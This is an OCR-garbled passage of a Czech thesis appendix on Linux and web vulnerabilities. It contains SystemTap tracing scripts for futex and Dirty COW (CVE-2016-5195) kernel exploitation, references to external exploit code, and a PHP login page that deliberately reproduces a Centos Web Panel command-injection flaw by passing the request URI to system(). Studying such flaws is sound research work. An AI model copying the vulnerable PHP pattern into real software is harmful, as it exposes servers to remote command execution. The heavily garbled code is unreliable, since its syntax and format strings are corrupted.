} 

probe kernel.function(" sys_sendmsg").call 
{ 

i f (pid() == $1) 
{ 

printf (" \n"); 
p r i n t f ( " sys_sendmsg called ...\n"); 
printf ("tid: °/„d\n", t i d O ) ; 
pri n t f ("time: °/0ld\n", gettimeofday_us()); 

printf ("bugged waiter addr: °/0p\n", bugged_waiter_ptr); 
print_waiter_with_addr(bugged_waiter_ptr); 

printf (" \n"); 
} 

} 

probe kernel.function("sock_sendmsg") 
{ 

i f (pid() == $1) 
{ 

printf (" \n"); 
printf("sock_sendmsg called ...\n"); 
printf ("tid: °/„d\n", t i d O ) ; 
pri n t f ("time: °/0ld\n", gettimeofday_us()); 
print_waiter_with_addr(bugged_waiter_ptr); 

printf (" \n"); 
} 

} 

probe kernel.function("futex_requeue") 
{ 

i f (pid() == $1) 
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p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 

futex_requeue called ...\n"); 
t i d : °/„d\n", t i d O ) ; 
time: °/0ld\n", gettimeofday_us()); 

An"); 

An"); 

probe kernel.function("rt_mutex_start_proxy_lock") 
{ 

i f (pid() == $1) 
{ 

p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 

\ n n ) . 

rt_mutex_start_proxy_lock called ..An"); 
t i d : °/„d\n", t i d O ) ; 
time: °/0ld\n", gettimeof day _us()); 

\ n n ) . 

probe kernel.function("futex_proxy_trylock_atomic") 
{ 

i f (pid() == $1) 
{ 

p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 

\ n n ) . 

futex_proxy_trylock_atomic called ..An"); 
t i d : °/„d\n", t i d O ) ; 
time: °/0ld\n", gettimeof day _us()); 

\ n n ) . 

probe kernel.function("futex_lock_pi_atomic").return 
{ 

i f (pid() == $1) 
{ 

p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 

\ n n ) . 

futex_lock_pi_atomic returned ..An"); 
t i d : °/„d\n\ t i d ( ) ) ; 
time: °/0ld\n", gettimeof day _us()); 
ret value: 0/Od\n", $return); 

\ n n ) . 

probe kernel.statement("futex_wait_requeue_pi@futex.c:2503") 
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i f (pidO == $1) 
{ 

printf (" \n"); 
printf("futex_wait_requeue_pi ...\n"); 
printf ("tid: °/„d\n", t i d O ) ; 
printf ("time: 0/ Old\n", gettimeof day_us()); 
printf ("q.rt_waiter addr: °/0p\n", $q->rt_waiter); 
printf (" \n"); 

} 

} 
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Příloha C 

Exploit CVE-2016-5195 

K ó d exploi tu je d o s t u p n ý na adrese uvedené ve zdroji [64]. 
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Příloha D 

SystemTap skript CVE-2016-5195 

probe begin 
{ 

print("running...\n"); 
} 

probe kernel.function("mem_rw") 
{ 

i f (pid() == $1) 
{ 

p r i n t f ( " 
printf("mem_rw called ...\n"); 
printf ("tid: °/„d\n", t i d O ) ; 
printf ("time: °/0ld\n", gettimeof day_us()); 
p r i n t f ( " 

} 

\n"); 

\n"); 

probe kernel.function(" get_user_pages") 
{ 

i f (pid() == $1) 
{ 

printf (" \n"); 
p r i n t f ( " get_user_pages called ...\n"); 
printf ("tid: °/„d\n", t i d O ) ; 
printf ("time: °/0ld\n", gettimeofday_us()); 
printf (" \n"); 

probe kernel.statement(" get_user_pages@memory.c:1822") 
{ 

i f (pid() == $1) 
{ 

printf (" \n"); 

112 



p r i n t f ( " get_user_pages called (row 1822) ...\n"); 
printf ("tid: °/.d\n" , t i d O ) ; 
printf ("time: y old\n", gettimeofday_us()); 
printf ( " f o l l _ f lags: 0/„u\n", $ f o l l _ f lags); 
printf ("page start address: yop\n", $start); 
printf (" \n"); 

} 

} 

probe kernel.function("do_wp_page") 
{ 

i f (pid() == $1) 
{ 

printf (" \n"); 
printf("do_wp_page called ...\n"); 
printf ("tid: 0/„d\n", t i d O ) ; 
printf ("time: y old\n", gettimeofday_us()); 
printf (" \n"); 

probe kernel.statement(" access_remote_vm@memory.c:4053") 
{ 

i f (pid() == $1) 
{ 

p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 

\ n n ) . 

access_remote_vm (row 4053) called ...\n"); 
t i d : °/„d\n", t i d O ) ; 
time: °/0ld\n", gettimeofday_us()); 
page struct: °/0s\n", $page$$); 

\ n n ) . 

probe kernel.function("follow_page_mask") 
{ 

i f (pid() == $1) 
{ 

printf (" \n"); 
printf("follow_page_mask called ...\n"); 
printf ("tid: y„d\n", t i d O ) ; 
printf ("time: y old\n", gettimeofday_us()); 
printf (" \n"); 

probe kernel.function("sys_madvise") 
{ 
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i f (pid() == $1) 
{ 

p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 
p r i n t f ( 

} 

sys_madvise called ...\n"); 
t i d : °/„d\n", t i d O ) ; 
time: °/0ld\n", gettimeofday_us()); 

An"); 

An"); 

probe kernel.function("handle_mm_fault") 
{ 

i f (pid() == $1) 
{ 

printf (" \n"); 
printf("handle_mm_fault called ..An"); 
printf ("tid: °/„d\n", t i d O ) ; 
printf ("time: °/0ld\n", gettimeof day_us()); 
printf (" \n"); 
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Příloha E 

Soubor helper.c, expl.sh a 
fake module.c - exploit 
CVE-2021-4034 

Soubory jsou d o s t u p n é na adrese u v e d e n é ve zdroji [41]. 
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Příloha F 

P H P skript pro sumulaci 
zranitelnosti aplikace Centos Web 
Panel 

<?php 
if(isset($_POST[>login'])) { 

$date_time = date("Y-m-d H:i:s"); 
$username = $_P0ST['username']; 
$password = $_P0ST['password']; 
$url = $_SERVER['REQUEST_URI']; 
$remote_ip = $_SERVER["REMOTE_ADDR"]; 
if($username != "root"){ echo "You are not authorized to login"; } 
else { 

if($username == "root") { 
$escapedUrl = escapeshellarg($url); 
system("echo \"" . $date_time . " " . $username . " Successful 
Login from: " . $remote_ip . "on: " . $escapedUrl . "\" » 
cwp_client_login.log"); 
echo "Welcome root"; 

} 

else { 
echo "Wrong Password or Username!"; 

} 

} 

} 

?> 

<form action="" method="post"> 
<label for="username">Username:</label> 
<input type="text" name="username" requiredxbr> 
<label for="password">Password:</label> 
<input type="password" name="password" requiredxbr> 
<input type="submit" name="login" value="Login"> 

</form> 
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Příloha G 

Exploit CVE-2017-1000253 

K ó d exploi tu je d o s t u p n ý na adrese uvedené ve zdroji [49]. 
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